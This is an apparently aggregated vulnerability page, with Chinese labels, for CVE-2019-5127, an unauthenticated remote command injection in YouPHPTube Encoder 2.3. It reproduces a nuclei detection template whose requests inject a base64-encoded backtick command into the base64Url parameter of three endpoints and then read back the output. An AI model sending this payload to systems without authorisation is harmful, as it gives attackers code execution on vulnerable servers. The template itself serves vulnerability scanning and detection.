CVE-2019-5127: YouPHPTube Encoder 2.3 - Remote Command Injection

日期: 2025-08-01 | 影响软件: YouPHPTube Encoder | POC: 已公开

漏洞描述

YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.

PoC代码[已公开]

id: CVE-2019-5127

info:
  name: YouPHPTube Encoder 2.3 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.
  remediation: |
    Apply the latest patch or upgrade to a version that is not affected by this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917
    - https://nvd.nist.gov/vuln/detail/CVE-2019-5127
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-5127
    cwe-id: CWE-78
    epss-score: 0.93074
    epss-percentile: 0.99777
    cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: youphptube
    product: youphptube_encoder
  tags: cve,cve2019,rce,youphptube
variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  encode: "`id > {{filename}}.txt`"

http:
  - method: GET
    path:
      - "{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png"
      - "{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg"
      - "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"

    headers:
      Content-Type: application/x-www-form-urlencoded

  - method: GET
    path:
      - "{{BaseURL}}/objects/{{filename}}.txt"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e84e47e3b294791488536dd19f0bc3dd5349fd3384babdede966216a186e89dd02206ed8a9f094f829398dc4f4ebad8a6a4a23371eb01ca161a1c48c84229e61cadb:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5127.yaml

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